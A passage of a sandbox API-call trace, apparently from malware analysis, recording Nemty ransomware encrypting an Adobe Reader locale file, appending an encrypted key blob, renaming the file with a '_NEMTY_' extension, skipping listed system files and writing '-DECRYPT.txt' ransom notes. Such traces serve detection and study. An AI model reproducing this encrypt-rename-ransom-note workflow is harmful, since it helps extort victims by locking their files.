cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.PTB", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.PTB", lpUsedDefaultChar=0x0) returned 11 [0182.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.PTB", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.PTB", lpUsedDefaultChar=0x0) returned 11 [0182.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.PTB", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.PTB", lpUsedDefaultChar=0x0) returned 11 [0182.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.149] Sleep (dwMilliseconds=0x5) [0182.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2038dc90, dwHighDateTime=0x1d561e8)) [0182.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2038dc90, dwHighDateTime=0x1d561e8)) [0182.159] GetLastError () returned 0x0 [0182.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.159] GetLastError () returned 0x0 [0182.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.160] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.160] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.160] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.160] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="qzCGDb4ylE2W5GcgKx3v8T14JbYCScpeArXTdHrG6acwHX5I0ZEHMPZI2+oNEZSN\r\nGVHN6jviQYN2bBxtvEibdLe/qZydQQ1TADwFC+85GS5PN9+iuqAa8RwFwoP4FONS\r\nBpH5zKfUNrZqZySSxtdOh9TH1xkdoE32sMO8S9VHwehqfkyQO+OqYINlEVukyUC3\r\n+PBQMwc1w7DhROgjfYBr8h9hcGOYzkP/Xn1JTmrFvJsPaU9Cpg11z0ms/DO3aPho\r\n/Bat7GGgYBBV/nVBbh6BHOGg52W7bsbXkpjg3ikc78yKzsv1tYhU9rhudjp6b7yg\r\n09wnWAgxGZ/cjl/NI6cgzw==\r\n", pcchString=0x653e5dc) returned 1 [0182.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Weblink.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\weblink.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.160] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28160) returned 1 [0182.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e00) returned 0x6352c48 [0182.160] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.161] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e00, lpOverlapped=0x0) returned 1 [0182.168] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.168] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e00, lpOverlapped=0x0) returned 1 [0182.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.168] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0182.168] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.168] CloseHandle (hObject=0x2e8) returned 1 [0182.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.168] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Weblink.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\weblink.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Weblink.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\weblink.ptb._nemty_kgobjgd_")) returned 1 [0182.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.169] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1faeccd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1faeccd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1faeccd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0182.169] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0182.169] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0182.169] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0182.169] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0182.169] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0182.169] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0182.169] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0182.169] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0182.170] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0182.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0182.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0182.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0182.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0182.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0182.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.171] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1faeccd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1faeccd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1faeccd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0182.171] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0182.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0182.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0182.171] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2=".") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="..") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="...") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="windows") returned -1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="$RECYCLE.BIN") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="rsa") returned -1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="NTDETECT.COM") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="ntldr") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="MSDOS.SYS") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="IO.SYS") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="boot.ini") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="boot.ini") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="AUTOEXEC.BAT") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="ntuser.dat") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="desktop.ini") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="CONFIG.SYS") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="RECYCLER") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="BOOTSECT.BAK") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="bootmgr") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="programdata") returned 1 [0182.171] lstrcmpiW (lpString1="ro_RO", lpString2="appdata") returned 1 [0182.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ro_RO", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0182.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ro_RO", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ro_RO", lpUsedDefaultChar=0x0) returned 5 [0182.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ro_RO", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0182.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ro_RO", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ro_RO", lpUsedDefaultChar=0x0) returned 5 [0182.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0182.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0182.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0182.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0182.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0182.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0182.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0182.172] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0182.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0182.174] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.174] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0182.175] CloseHandle (hObject=0x254) returned 1 [0182.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0182.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0182.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0182.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0182.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0182.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0182.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: 